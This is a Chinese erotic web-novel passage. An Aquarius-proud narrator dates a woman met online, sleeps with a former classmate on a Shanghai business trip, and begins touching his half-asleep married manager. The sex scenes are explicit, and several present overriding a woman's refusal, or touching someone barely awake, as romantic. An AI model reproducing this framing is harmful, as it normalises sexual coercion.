图片载入中

水瓶之爱

特大字】 【大字】 【中字】 【小字

(一)

捧着一杯立顿红茶,坐在这个肯德基的二楼透明玻璃旁,往外看去,深秋的夜晚格外美丽。

想像一下:把衣服的领子竖起来,踏着满天飘落的树叶而来,是不是像极了一部浪漫电影的片段?

“我就是喜欢你现在的样子,我就是喜欢你这样的脾气……”空中飘荡着林志炫温柔的歌曲,温薰的气流从暖风机里传来,我的双颊好像喝了酒似的微红起来。

周围的人嘈嘈杂杂,人来人往。很多年后,我回想起来还会觉得那天是那么的清晰和动人。她,就在这样的环境中出现在楼梯口。

在这个网络发达的二十一世纪里,也许每个人都会有第一次约会网友的经验吧。但不知道有多少人可以记得当时的感觉呢?焦急、忧虑、幻想、还是兴奋?我想我都有这些感觉,不过,作为一个天生的水瓶座,冷静和谨慎是我天生的本能。

当我在网上可以把握她的喜怒哀乐时,我就和她开始互换了照片,虽然不是很清楚,不过大致的五官方位已经可以把握,不至于在见面时,差得太离谱。

我的面前一杯红茶(是给我买的),还有一包薯条(是给她买的)。就如昨天说好的,“到时候,我会穿一件黑色的夹克,靠在窗口,一杯红茶等你的。”

我想不会有别人和我一样的。事实果然如此,没有什么人像我这副等人的模样。

当她踏入这个餐厅的时候,我注意到了她,她也在同一时间看到了我这桌。

“Hi,我是蔷薇。你是猫猫吧?”蔷薇和猫猫当然是我们在网络这个世界的代号了,没想到到现实世界里称唿的时候,有些怪怪的。

我摆出了一副早就知道的样子,“吃什么?我给你去买。”

“嗯,随便了。”

当中国男人其实很痛苦,除了在床上那一瞬间的征服感之外,其他时候好像都是奴隶社会。因为除了付帐买单之外,还要玩一种高难度的猜谜游戏,其中就包括这个买‘随便’的任务。

幸好我是冷静机智的水瓶小子,猜心的这种游戏难不倒我的。

装着鸡翅、红茶的盘子捧到小姐的面前,看到她笑眯眯的眼神,我才松了口气。仔细打量她,细细的眉毛,大大的眼睛,高高的鼻子,描了口红的小嘴,白皙的皮肤从脸蛋到脖子都找不出一个疤来。穿的是红蓝夹杂的真维斯的休闲毛衣、牛仔裤,把少女的青春曲线勾勒得一览无遗。我一下子就爱上了她。

“艾,你看起来比照片酷多了。”

“是吗,我就这样,天生的,可不是装的啊。”

“咯咯,”少女的声音就是好听,“你是不是很紧张?”

“怎么会呢?我们水瓶座是十二星座中最冷静的了。”

“你老是把水瓶挂在嘴上,一股自豪的样子,你对星座很在行啊?”

“一点点了。你不知道,水瓶呢,对这些旁门左道、神秘主义有着很大的兴趣,同时又受海王星的影响,喜爱学习,热爱自由,平等。”我故意漏了博爱不敢说。

“对了,你是什么座?”

“天蝎。”

“什么?”我打了个冷颤,“天蝎可是最神秘的星座,要是女人的话,她们就是最有魅力的了。”

她笑意盎然的看着我夸夸其谈。

不一会,红茶喝完了,我说,“我给你去添水。”

“不了,晚上茶喝多了,睡不着觉。”

“睡不着也好,可以给我打电话。”

“臭美,坏猫。”

有美人撒娇,真是幸福啊。

一顿晚饭吃下来,我们都已经聊了两个小时了。蔷薇的真名叫杨倩,刚毕业在一家合资企业做文员。我们谈到大学生活,谈到单位,谈到喜爱的电影,我可以看到她美丽的眼晴一刻不停地盯着我看,迷倒在我的谈吐中。我一边持续我们的海聊,偶尔看到那樱桃小嘴,心里想那不可告人的勾当,心中不由一荡。

“走吧,我们去逛逛夜市。”

和杨倩一起走下台阶的时候,发生了一点小插曲。肯德基刚刚拖过地,地面很滑。杨倩的小皮鞋一滑,一声惊叫,整个人就向前倾倒。经变陡生,我不假思索,伸出手仿佛老鹰抓小鸡一般拉住她的毛衣,用力一带,不但止住了她下滑的趋势,而且把她带到我的怀里。

她好像吓坏了,依偎在我的怀里半天不动。我也乐得享受一下小鸟依人的感觉。我正持续感受这温柔时,她已经红着脸离开了我。

当你一个人在深秋时候,感伤会不由自主控制心灵。如果和一个巧兮姣兮的女孩在深秋的街上,那么感觉就是浪漫了。

看过了琳琅满目的小商品,看过了比比节节的音像制品,看过了层层叠叠的书,再看过了天上的星星,近处的霓虹、远处的树木,我们两颗年轻的心越靠越近,越来越依依不舍。

灯火阑珊,也该分离了吧?

“那么,再见!猫猫。”

“那么,再见!可爱的蔷薇。”网上的亲密开始用到现实中,也许是一种预兆吧。

我向她伸出了我的手,她看着我也伸出手来,我们握在一起,相视而笑。

这一手的温柔,够我一晚的回忆了。

美丽的生活正在向我招手,成功的约会等与幸福的一半!

(二)

距离上次约会有一个星期了,我们每天都打电话聊几个小时,快乐的心情每天保持,自己也感觉容光焕发,越来越帅了。看来这就是恋爱的滋味,真是好极了。

周末晚上,我们一起相约去某个大学的舞会。刚毕业的人都有体会,对学校的生活还是很怀念的,一有机会就会去回忆生平。虽然设备简陋,但是青春的气息却比任何一家都充实得多。

踩着那用来做舞厅的体育馆的木地板,在众多的舞群中,几百双围观的眼光下,灯光昏暗,音色靡靡,我们俩,一个一米七八,帅气的面孔衬着深蓝色的夹克,咖啡色的长裤;一个一米六,可爱的身体穿着白色的毛衣和暗蓝的LEE牛仔裤。三步、四步、小拉、探戈、恰恰、伦巴,不管什么音乐都上去跳一圈,不管会不会都一起在舞池里,全然忘了自我,陶醉在这绚烂缤纷的时光里。

间或看到人群里那些围观的学生的脸,有羡慕的,有妒忌的,有装做无动于衷的,我只有更加优雅的和我的小恋人共舞着,来回报她赐给我的幸福。

——年轻真好!杨倩真好!

跳舞的好处就是加快大家的亲密接触的程序。因为你要经常拉手抱腰,所以牵着手上场下场都变得很正常。这样她温软的小手就一直让我握着,我努力克制了要去吻她的冲动,毕竟水瓶不像是射手或狮子星座,还不至于公共场所表演。

大概十点钟,舞会结束了。错落有致的人群慢慢散去,舞厅开始空空荡荡,有一种曲终人散的凄凉。我心里忽的一凉,不知道我和杨倩将来会不会也是这样的凄凉呢?随后我的眼光瞥向她美丽的脸,一下子就想到别的什么上去了。

我拉着她的手暗暗松了劲,只要她愿意,可以轻松的脱出来。不过她并没有这么做,使我认识到,这个女孩大概也是喜欢我的。那么,从现在开始,我们一起走向快乐的山峰吧!我给自己鼓劲。

大学校园总有一块给属于青春期骚动的男女们活动的禁地,通常是小花园、草坪之类的地方。这种地方校方和学生方都是相互通融的,只有在不定期的抓紧精神文明建设时刻,这个地方才会被管制一番,但是通常大家都是睁一眼闭一眼的。这么说来,不知道该称作为“快乐的伊甸园”好呢还是“原罪的发源地”好呢?也许叫“共同警备区”更好一点吧。

“看来你挺会跳舞的啊。”我奉承杨倩。

“以前我学过一段时间的跳舞。”

“是吗?那么是哪种舞蹈?”侧过头看她,她的眼睛闪闪发亮。

“民族舞啊。”

高深的名词让我有些不知所然,我试图把它演绎得浅显一点,“你的功底还有吗?比如可以噼腿分叉什么的?”

“那当然了。”杨倩松开我,原地做了一个跳跃,空中自然的把腿舒展、打开成180度角、合并、落地,整个过程十分轻松和利落。

“天啊,太棒了!”我夸张的鼓掌,然而心里充满的却是另一种惊喜,太棒了,这不是极品吗?上网能遇到美女已经是前世修来的福了,又遇到一个会跳舞可以把大腿分到极点的美女,那简直就是奇迹了。一霎那,我几乎要跪倒在草地上,感谢上苍对我们水瓶座的赐福。

“你干什么啊?”美女杨倩注意到我的眼神怪怪的,要是知道我的想法,不知道会怎么用那美腿把我踢倒吧。

“我在想遇到你真是太幸运了。”

杨倩听了很不好意思的低下头,大概想找个地方坐吧。

我上前扶住她的胳膊,“当心,这个地方有点湿,把你的花衣服坐脏了可不好。”

定格!

我也没想到,她这个时候抬起头看着我,迷人的眼睛看着我好像很感动的样子。我们的距离当时虽然不止0.01公分,但是一秒钟之后,我们就已经零距离了。

当时月黑风高,黑色的夜包围着我俩,周围没有人,美人在侧,我怎能不心动?

正如歌词所唱:“轻轻一吻,带走我的心……”我低下头,在她的小嘴上轻轻一碰,她并没有推拒我,给了我极大的勇气。

我于是把手伸到她的背后,环住了她,再次吻去。她不由羞得闭上了眼睛,睫毛微微颤抖着,嘴唇轻轻唿应着我的吻。我的嘴慢慢分开她的小嘴,用舌头舔着她的嘴唇,然后慢慢地伸了进去,搜寻着她的香舌。少女的舌头一点一点地回应着,湿湿的、滑滑的,味道好极了,我的裤子不由绷紧了。我也可以感觉到她的脸开始发烫了。

良久,我们才分开嘴,然后却已经是互相拥抱的姿势。

“你好坏啊。”杨倩羞我。

“那我就再坏一次了。”不由分说,大力的吻上。她连气也没来得及喘,嗯的一声,两个炙热的舌头又交织在一起,品尝着爱的果实。

这一次,我的手开始了动作了,在她背后开始抚摸起来。少女被抚摸的娇喘连连。我的手掀开了毛衣,触摸到了她的肌肤。她抖动了一下,便不再挣扎。我的右手便顺着腰背向上,在她柔滑的肌肤上做按摩。

同一时间,两人的舌头还在互相挑逗着。我的手慢慢地触及了一根带子,我知道那是胸罩的扣子。慢慢地解开,就可以完全触及背肌了。慢慢地抚摸,杨倩的喉咙里发出一些小的声音,不知道是表示舒服还是难受,不过她温驯地服从着我,而且她的手也开始抚摸我的背了,口腔的运动做得更加激烈了。

我的手终于转到前面来了,一只右手覆盖着一只小巧温婉的乳房,我雄性的欲望膨胀开来,却还是轻轻地抚摸着。暂时停止了吻,她仰起头,眯着眼睛,感受着自己,发出很小的呀呀的呻吟。而乳房,在我不断的抚摸下开始坚挺起来,乳头开始变硬了。

我终于双手掀开她的毛衣,想把自己的嘴覆盖上去。感觉到凉意的她说:“你干嘛啊?”

“我想看看她。”

她不再吱声,第一次沉醉于男人的抚摸中。我把毛衣翻上来,看到了洁白的肌肤,两只象鸽子般温柔的乳房,鼓鼓的,我用嘴含住了她的右乳。一霎那,因为温热而造成的快感从乳房一直传入大脑,她的身子战栗着,享受着,不由自主地搂紧了我。

我在晶莹如玉的胸脯上舔来舔去的时候,手慢慢地向下,穿过她的裤子,向下,抚摸到了一些稀疏的毛发,再向下的时候,她的手紧紧摀住了那个地方,那个我想去的地方。

“不行。”微弱的声音却也有些坚决。

“就摸摸。”

“不行。”

我知道这是少女的矜持,为了表示尊重她,我抽出了手,改去握着她的手。她的手放在我的背后,我抓住她的手,引导她放入我的衣服内,她服从着,开始抚摸我背后每一块皮肤。男人的不同结构使得她好奇地探索,我再次引导她的手往前往下,同时吸气缩腰,以便让她的手顺利通过。

她好奇着,却害羞着。小手慢慢地探索下来,通过我满是毛发的小腹,接触到了我的朝天一棍。我让她握着,她握着了,却激动的浑身发抖。男人的硬和热让她无法自拔,她不停地呻吟道:“天哪!天哪!”我却在享受着被人抚摸的快感。

正当她沉醉于我的这一根的时候,我又开始了新的一轮进攻。我拉开了她裤子的拉链,手指翻过了她的内裤,探进了她的桃源洞,也许从来没人能入侵的原因,当我温暖的手抵达了她的阴部,她已经完全软化掉,提不起一丝力气来反抗我。我的手指在湿热的阴液的润滑下,来回插着她的阴道,虽然没有完全进去,但摩挲的快感足够让她不知所以了。

我觉得越来越涨得慌,也拉开了自己的拉链,把男人的兵器完全亮了出来。虽然她一直闭着眼睛,但她的手一直放在上面,若有若无地做着套动的动作。我搂住她的头,往我腹部靠。她在迷煳之中,便过来了。然后我命令她,“看!”

她张开眼睛,迎面而来就是一个晃动的,坚实的,跳动着青筋的男性器官,她惊叫一声,赶紧闭上眼睛。我却毫不放松的,略带强迫的把性器凑到了她的脸上。

“不!”她扭过头去,坚决不理睬我的东西。

也许我是操之过急了一点,小女孩一下子不能接受口交呢。我只好求其次,再次让她握着我的棍棒,上下套动,她似乎也很享受这样呢。

于是我盯着那美丽的脸庞,一边意淫,一边让我的小美人给我打手枪,一直到我完全喷发出来,浓浓的精液暴射在草地上。我心中不停的臆想着那红红的小嘴含住我性器的样子,心里想这一天很快就会来到。

我美丽的女孩,怎样才能让你永远快乐呢?

(三)

说起来能认识杨倩实在是很幸运的事情,简直可以算是奇迹了。

我叫李骏,今年25岁,大学毕业刚刚两年,在一家投资银行业务部做事。因为业务需要的关系,去年我们刚升级了最新的服务器,可以和路透终端24小时保持联系,以获取最新的业务资料。这件事情带来的好处就是我桌面上的电脑也得以更新,更加可以随时停留在互联网上。

年轻人上网离不开的一件事就是聊天交友了。我曾参加过九个交友俱乐部,包括着名的亚洲交友中心。可是这种事情总是看的人多,参与人少,偶有成功联系上的人也往往不合我的心意而被否决掉。水瓶座,可不是一般的挑剔的。

好不容易找到一家新兴的交友网,锁定本地目标,有一个名叫蔷薇的女孩的介绍很别有味道,因为她写了一些自己的话:“如果看见我了,你就不会离开,如果离开我了,你就不会思念,如果你思念了,那就说明你错了,如果你错了,那么请别说年轻的你永不后悔。”

就这么一段奇怪的话语打动了我,我试着给她发信,约她在网上聊天。正如所有网友结交的步骤,我们渐渐地熟悉起来。她知道我在班上特立独行,喜爱诗词歌赋,侠少豪情,还知道我自负飞扬的个性。我知道她上班的作息,回家的娱乐,朋友的圈子,甚至睡觉的早晚时刻。可是当我问她那段话的来历时,她却没做多大解释,只是说藉着突如其来的情绪写的。

自从上个星期舞会回来后,肌肤之亲使得我们的感情越来越亲密。我发现自己开始迷恋她的时候,便不断对自己敲响警钟。

为什么呢?这又要涉及到水瓶座的心理了。我是一个典型的瓶子,保持自己的自由是首要的任务。我不要整天被粘在一起,我想像的未来还很宽广,也许会有很多很多的女朋友。要是为了一棵树而放弃整个森林的话,损失可就太大了。其次瓶子对待朋友是最好的,不过不大能分清友谊和爱情的界限。对于我来说,也许杨倩只是一个很好的朋友,但是不是爱情我很迷茫。

就在这个时候,我们公司要求我出差去上海开一个星期的会。我想,这也许是一个好的机会让我清醒一下,毕竟,瓶子总是要保持清澈的。

电话那头的杨倩知道我要出差的消息显得有点难过,我得意之余告诉她我会很快回来。上海,那繁华的都市,我的人生不经意的在这里起了转折。

和我一起出差的还有我们部门的一个副经理陈洁,不过才29岁,也可以说是带我入门的老师,长得白净净的,脸颊瘦瘦,眼睛长长弯弯,披肩短头发,很妩媚的样子。我挺喜欢她的,不过人家已经结婚好几年了。大家平时关系很好,我常在早上上班给她买早点,她就在业务上给我很多帮助。

我们一起登上了去上海的沪宁高速公路长途汽车,还没到半个小时,陈洁就开始晕车。皱着眉,小脸惨白,不停地干呕。早知道这样,我们坐火车得了,何必受这份罪啊。我这人其实有时也会晕车的,不过这两年工作下来,天南海北跑多了,渐渐好多了。但是还是在旅行包里放着晕车药、风油精和一打塑料袋以备万一。这也是水瓶人的思考问题周全的表现。

吐完了、擦了油、吃了药,她终于安静下来了。迷迷煳煳睡着了,还睡着睡着就把头依在了我的肩膀上。真没办法,抱着拍马屁的心理,就让经理靠一靠好了。幸好她不打唿噜、不流口水。

后面的事情还比较顺利,到了上海先去会场报到,对方安排住宿。因为是一家很大的客户,接待标准还不错。我和陈洁都住在一家四星级宾馆,我是1010,她是1011,在我的对面。吃完晚饭,陈洁还是不大舒服,早早去睡了。我也去安排自己的活动了。

上海,是我的梦想,因为这是全国的金融中心。金融精英在这个地方风生水起,投资理财业务开展的如火如荼。上海,更是我的梦想,因为这里还有一个我喜欢的人——莉,在这个地方。

莉是我的高中同学,生日比我还大12个月,所以恰恰也是个水瓶座。水瓶座的人通常是很有魅力的啦,当然这个瓶女就更不用说了。她高中的时候长的圆脸蛋,两只大猫眼,个子虽然不高,但很像日本卡通人物,非常可爱。是我暗恋的对象,不过那时我很矮小,又听说她和若干帅哥有绯闻,从来没有敢表白过。后来她考到上海大学文学系,我却在南京读书。我们还一直保持书信联系,也就互相介绍近况之类的。

有一年春天,她来南京游玩,我去陪她。当时下着沥沥的春雨,我一只手打了一把伞,另一只手试探着搂过她的肩膀,她也没拒绝。从校门口到我的宿舍,我就一直保持着这个姿势,心里却快乐的开了花。以为自此就可以有了追求的资格,等她回去,就发了一封求爱的信,结果两个星期后来了张明信片,告诉我随缘好了。我虽然很失望,但是还是感激他没有像别的女孩一样讲一大堆废话或者直言不讳地拒绝来的难堪。

水瓶座的人就是这点最好,善解人意。她会做人,我当然也会作人。自此再也不提爱情的事情,全当要好的朋友去处,偶尔有些暧昧的话语,却也增添一些情趣,少了许多责任和隔阂。

今天晚上没事情,虽然上海还有别的同学,不过还是先打个电话给她好了,可以的话我想先看她了。

电话那头:“啥呢啊?”这几年,学了正宗的上海话了。

“我啊,就是瓶男了。”我一直以自己的星座自豪,同学们都叫我瓶男或男瓶的。

“你啊,现在在哪里啊?上海吗?”

“对的,来开个会,呆几天。今晚忙吗,去逛逛啊?”

“等等,”她放下电话,对别的同事嘀咕了几声,“我现在有点稿子要赶,9点吧,你到我们报社来接我。地址是…”

忘了说明,她是个新闻记者,毕了业后在一家小报馆做事。

看看时间,还早,我洗了把澡,吹吹干,正忙着,门铃响了。

开门一看,是陈洁。萎靡不振的对我说:“我头痛得厉害,你帮我买包头痛片好吧?宾馆的医务室下班了。”

没办法,我只好答应了。心里暗骂:“什么宾馆,医务室都没值班的吗?”

还好,宾馆对门有家药店,买了一盒百服宁,却看到旁边有计生用品的,还有很多种类的春药:‘豹女迷情粉’‘发姣水’‘金枪不倒液’,一时好奇,看说明看了半天才离开,害得售货员白白期待了半天。

等我回去敲陈洁的门,丁灵了两声,没人应。试着一推门,门没锁,就进去了。结果发现经理到在床上睡着呢。

我把药放在床头柜上,刚要离去,看着她睡的香香的样子,海棠春睡,真的很动人。

一想到她正在生病中,不由爱怜地摸摸了她的头发,她迷迷煳煳睁开眼睛,我说:“药买回了,在床头。”她轻声应了一下,又闭上眼睛。

我想她可能真的很累,于是给她又倒了杯水放在床头,就锁上门,出去了。

生活,总是在平凡里孕育着奇遇。

(四)

上海的路我不是很熟,直接就叫了一辆出租车去莉的报社。到了那里比约定时间晚了五分钟,一下车就看到在风中翘首盼望的莉站在大门边。

今天她穿的是一件米色的风衣,黑色的裤子,因为好久不见,我发现她变瘦了,过去的圆脸盘变成了瓜子脸,瘦削的下巴上都没什么肉了,不过亮晶晶的大眼睛依旧迷人。

她走到我面前,亲热地拍了我的肩膀一下,“好久不见了,好哦?”

“还好了。你怎么这么瘦了?”

她笑了笑,不作声。

我不由一阵心疼,说实话,我还是一直喜欢她的。她就像是我少年时代的梦中偶像,伸手不可及,又时常浮现在心底的那种丽人。或者换种说法,我们两人一直保持着若即若离的那种关系,比朋友亲密点,比恋人又疏远点。看来她留在这里,吃了不少苦头,也难怪呢,一个女孩单身在外,又是这种行业,不辛苦怎么行呢。

我说:“走吧,有什么好地方,我请客?”

我们来到了附近的一家酒吧,一看名字就很有意思,‘昔日重来’。

里面人不是很多,也许不是周末吧。

我们坐在角落里,叫了份红茶给我,一份果汁给她。两人坐在那里聊起来,好久没见了,什么话都想讲,又什么话都无从开头。然后,突然一起傻笑起来,话匣子便一下子打开了。

我们谈了很多同学的去向,有在上海的、有在南京的、有留在家乡的,更有远走高飞出国的。很多的往事,那些旧日的感觉一一从脑海浮现。服务生过来送上饮料,点起蜡烛,我们俩静坐着,闲闲地聊着,相互嘘叹着。面前娓娓跳动的火焰,好像开往过去时光里的小船,我们从心底感到一种宁静、安逸和亲密的享受。

“你那时候可是个绯闻人物呢。”我取笑她说。

“胡说!我可老实了。你才是呢。”

“我哪里是了?”

“哼。你那时候是文学社长,写的那些文章让人家小女孩都痴迷的不得了哦。”

“奇怪了。我怎么不知道这些?你说,都哪些人痴迷了?”我到是真的想知道。

“……”

“说不出来了?不会是你吧?”

也许被猜中了吧,反正她沉默了会,然后说:“也不知道是谁,成天在背后盯着我看?羞不羞?”

“是我。”这么浪漫的气氛里,我当然要说点好听的,“我承认。那时候那么多男生追求你,我,没有勇气,只有在背后看你的份了。”

“你啊,老是这样,躲躲藏藏的。”

“我知道,没办法,我就是这样的,优柔寡断,不过你也好不了多少。谁让我们水瓶座多思少断呢?”

“哈哈哈,你又来了。”她用手指着我直笑,大眼睛都笑眯了。

也许,在这样美丽的夜晚,我们该喝点酒庆祝一下旧友重逢吧。我发出这个提议的时候,她也没有反对。于是,我们叫了一瓶红酒,在“葡萄美酒夜光杯”的逸兴下开始了浪漫之旅。

事实上,我的酒量实在太差。我喝酒多半为了助兴,旨在意思不在数量,女孩呢通常都是很能喝的,莉也确实如此。

红酒、美女再加气氛十足的环境,我又怎么能不醉呢?正所谓,酒不醉人人自醉。

不过话又说回来,酒醉三分醒,酒醉的瓶子呢要五分醒的。我又不是那种醉了便胡来的男人,所以虽然喝多了,但是我并不令人讨厌,相反还能保持着彬彬有礼的态度。这一点,应该归功于水瓶座的自律吧。

有些人越醉越讨厌,有些人越醉越潇洒。我当然是后者。放得开,天南海北都能侃,两眼坚定,神采飞扬,自有一种指点江山的豪气。我可以清楚的感觉她眼神里的惊讶和艳羡。不知道几点了,我们回去的时候都有些恋恋不舍。

在酒吧的门口,我看着她的眼睛,发出男性魅力的闪电,“回家吗,还是到我那去?”

“……”没有回答,只是点点头。

如果在平常,我会以为这是回家的信号,此刻我却清楚地知道她选择的决不是前者。

当推开房间的门时,莉说:“我洗把脸。”便进了洗澡间,却没有关上门,于是我便依在门口看这她打开水龙头,把毛巾蘸了水摩擦着醺红的脸蛋。看上去粉嫩的皮肤在清水的滋润下纤毫毕现,妩媚动人,我禁不住心神荡漾。走到她的身后,从背后伸出手臂,一把搂住了她。

她嘤咛的一声,软倒在我的怀里。

美人在怀,我都听到自己的心扑通扑通地跳,轻轻地吻上她的耳朵,温柔的舔着耳垂,往里面呵气。她微微地躲避着,把头埋在两手之间,羞得不敢抬头。我心里如同千万只鼓同时敲着,却一边又继续着我的调情动作。

这个我一直暗恋的女孩,终于有机会一亲芳泽的时候,我万千思绪并作了一个,就是一定一定要好好地待她,爱她!

我的唇滑过她的耳朵,慢慢地落在她脸颊上,她的手不知什么时候放开了,嘴唇微启,星目微闭,那种待人怜爱的样子让我欲火高涨,一飞冲天!

双唇终于粘合到一起了,两人交织的舌头贴到了一起,莉的唇舌是有着征服男人的本事的,让我感受到深藏她体内的诱惑力。我一把把她的风衣往外拖下,却并没有完全脱掉,这样风衣就卡在她的双臂上,她的手就无法乱动弹了。我的手毫不客气的从腰间深入,往上撩起她的衣服,抚摸上了她的丰满结实的乳房。

随着我上下抚摸着,她发出了一种低低的呻吟声,一种无法用语言描述的音节,可是充满了满足和赞叹。我的手继续往下的时候,她有些焦急地想挡住我的手,口里说:“不,不要……”

可是风衣挡住了她的手,我的右手便长驱直入的抵达了她的大本营。原来那里,早就汪汪一片了。我弯起食指放进了1/3,在阴道里抽插,左手却在抚摸她的乳房,嘴唇也没有放松在她的脸上亲吻。

“莉……你看。”

不好意思的莉抬起头,看着镜子里的两个男女,又害羞地垂下头去,却是已经软作一团了。

我本想温柔一点对待她,可是看着镜子里淫糜的两人,加上婉转承欢的莉,我感到浑身的血液都快爆炸了,拉开自己的拉链,放出了小弟弟,贴在她的臀部上。跟着让她趴在梳妆台上,从后边拉开她的裤子,从后面一下子插了进去。

“啊……”莉叫了一声,随后挺起臀部,往后就来。

我弄清楚是满足的呻吟后,于是便提气进攻,根根到肉,吧嗒吧嗒的声音清晰可闻,一会儿她便开始放开声音呻吟起来:“啊…快一点嗯,我还要哦,快…我快来了。”

这正是最快乐的时刻,男人征服女人,还有什么比这更让人高兴的事情呢?

我一边抽送一边问她:“舒服吗?”

“舒服极了。”

“喜欢吗?”

“喜欢。”

“那……叫点好听的。”

“嗯,老公,老公,我要,我要!”

我的阴茎在美丽的女人的身体里持续着大概三刻钟,终于感到高潮的来临。“莉,我要来了。你要我射在哪里呢?”

“随便老公了。”

“那我要射在你的嘴里!”

“嗯,好。”

既然美人要求,我就不再客气了。睾丸又撞击了她的臀部一会儿,我感到全身的能量以同心圆的形式从丹田往外扩散,与此同时,我迅速拔出阴茎,用手指拈住根部,以抵制住一波一波的快感浪潮。而我的善解人意的小莉也转过身来,蹲在我的面前,把我的阴茎一口含住。

我乘机放松了根部的压迫,汹涌的浪潮便从我的体内喷出,转到了小莉的嘴里,她咕嘟一声都吞了下去。

我们俩满头大汗地互相拥抱着,相视一笑,倍觉甜蜜。

——我心里的女神,我永远忘不了这一夜的心动。

(五)

闹钟在7点的时候把我吵醒了,迷迷煳煳中把手机的铃声给关掉。闭着眼睛抚摩着身边的人,触手可及的是光滑的身躯和绸缎般的头发。我心里一阵满足,睁开眼睛,藉着微弱的光看着熟睡的她。那可爱的睡姿,仿佛沉睡的洋娃娃,惹得我心中充满怜爱,很期盼这一刻永不停息。

很久以后,我一直在回想着这个时候如果她醒来怎么办,我一定会告诉她:“我们一起生活好吗?我爱你!”然而她没有,只有那长长的睫毛轻轻颤动着。

我不忍心吵醒她,摸索着穿起了衣服。今天的会议安排是在8点30分,早饭在7点30分到8点。我揉着睡眼惺忪的眼睛,走到1011,听到里面哗啦哗啦的水声,想来她已经起来了,就按了几下门铃,那边叫道,“来了!”喀哒一响,一张素雅白净的脸孔对着我嫣然一笑,“起的还真早。”

我打了个哈欠,“你怎么样了?好些了吗?”这时我才发现她正在洗脸,还穿的一身秋衣秋裤,苗条的曲线清晰可见,不由楞了一下。

她白了我一眼,“看什么?你在外面等我一下啊?”说完关了门,去做她没完成的事了,留下我一个傻冒。

会议在八点30分准时开始,美洲银行和花旗银行投资部的人都作了自己业务的宣传,然后是香港渣打银行的业务介绍,跟着是国内投资银行的宣传。整个会议全程是英文交流,台上演讲的都是外国人,底下听讲的都是中国各城市的同行。我估计很多人听不大懂,因为连我这专修外语的都只听懂八成左右。一个上午很快过去了,最后半小时可以提问题。

坐在后排的一个男士站起来提出了他的第一个问题,外资银行的工作人员立刻给他翻译了过去。轮到我们发言时,陈洁轻挽了一下刘海,用流利纯正的英语问演讲者如何看待中国的投资现状。对方说了一大串,最后下结论:“Atcurrentsituation,Ithinkitisagoodtimetoinvestinstockmarket.”

陈洁听完了,不置可否,“Idon’tagreewithyouropinion.Bubbleeconomywillaffectthestockmarket.Iforecastthatitwouldbedowninhalfayear.Andasmodernizationof cityiscoming,wemayinvestinrealestate.”

看来两方在投资观点上有些不一样,老外的意思是现在股市比较热,当然应该投资股市。陈洁反驳了这一观点,认为现在股市过热,股市受泡沫经济影响半年后必跌,但是城市现代化正在开展,投资房产比较好。(半年之后,果然股市一蹶不振,房地产兴起。)

两种观点都有其道理,听众们也分成两派,各执所见。然后主持人号召大家休息一会,用个午饭,下午各会议代表再交流,才结束了这次的讨论。然而陈洁的优雅、干练、大方的风范给参加会议的人留下了很深的印象。我不由对她讨好地说:“老大,我好崇拜你啊。”她回了个媚眼给我作为回答。当然,傻冒通常分不清媚眼和白眼的。

吃中饭的时候,我拨打了房间的电话,响了很久,却无人接听。我又拨了莉的手机,却被告知关机,心里嘀咕了半天,也不知怎么回事,有些不爽。当下吃饭就有些心不在焉。那个台上讲演的外国人跑来跟陈洁聊了半天,我也没兴趣插话,只是耐心地听着。他们两人讲来讲去忽然一起大笑起来,想是谈得很投机。临走时给我们交换了名片,说有机会来南京交流。

陈洁关心地问我:“怎么了?”

我想了个借口,“昨天着凉了,不大舒服。”

“那下午的会你就别参加了,你回去歇会吧。”

我推脱了一阵,还是奔上楼去。一开门,房间里空荡荡的,她已经走了。被子折的整整齐齐,我不由一阵失望。

转头看到一张纸条压在台板下,写着几行字:“一夕浓情,感君厚爱;两处离愁,友谊长存。”我反复看了几遍字条,仔细咀嚼着话里的含义,她在暗示我大家两地工作,不能一起,所以才悄悄离去,保留友谊,留待日后相见。我知道我无法劝服她,就像我从前无法留住她一样。水瓶座的女子,总是那么的自决。

坐在床头熄了灯,仿佛还能闻到枕边的幽香,眼前似乎还有那曼妙的身影,看着她离我远去,却一个字也说不出来,心里长长地叹了口气,觉得幸福转眼即逝,人生也不过如此,如此而已。

也不知道坐了多久,忽然间有人推门进来开了灯,“你怎么搞的,睡觉连门也忘了关。”我听声音也知道陈洁来了。没有说话。大概是我的样子比较痴呆,看上去很不对劲,她走过来摸摸了我的额头,“干嘛呢?傻了?”

我摇摇头,勉强笑了笑,“没什么。会结束了吗?明天回去吗?”

“结束了,明天可以回去了。哎,出来两天了,还没时间去玩,我跟你说,今晚史密斯约我们去玩。”史密斯就是今天和陈洁辩论的某投资银行的副总裁。

“那一定是约你的,我不舒服,不想去了。”

“不行,”她板起了脸,撅着嘴,“我可不能一个人去。”

“那就不要去了。”我存心气她。

“那呆着干什么?”

“照顾我啊,我昨天照顾你来着,今天你也回报一下啊。”

没想到她说:“也对,这样我告诉他我有点事情,不去了。我今晚陪你。”这句话说的太暧昧了,我心里一跳,仔细看了她一眼,忽然想到莉,心里又是一痛。

趁着她打电话时,我又把眼睛闭起来,心里回味着痛苦,百感交集。很多人以为水瓶人花心,其实花心只是表面的现象,我对她真的是一片诚心可对日月。耳朵听着陈洁和老外的解释的声音愈来愈远,原来我忍不住又迷煳了过去。

睡的不知多久,睁开眼来,床边坐着一人,吓了我一大跳,这才想起是陈洁在陪我。可能是累了,她坐着也打起盹来。我仔细地端详她,白净的面容,柳叶淡眉,细长的眼睛,薄薄的嘴唇,虽然不能算是个美人,看起来也女人味十足。

我忽然想逗逗她,伸手在她面前晃了晃,没有反应。于是我抚摩了她的头发一下,还是没反应。我坐起来,走到她身后,轻轻地在她背后敲了起来,她嗯了一声,继续闭着眼睛,享受我的按摩。

我大着胆子,在她背上认真地敲打起来,时而紧敲后背,时而拿捏肩膀,十分钟后她身子越来越软,已经眯着眼睛沉浸在乐趣中。我邪念陡升,刚失去了一个女人,老天又送来一个,不管她是谁了,我都准备让她作我的女人了。

我开始轻轻敲击她的后脑,然后顺手抚摩她的头发。不是很多,但很顺滑。她没有动弹,我的胆子更大了,开始抚摩上她的白皙的脖子,并有意识地多停留了会。然后捏上了耳垂,软软的,凉凉的,摸了一会,她的耳朵开始发烫了。

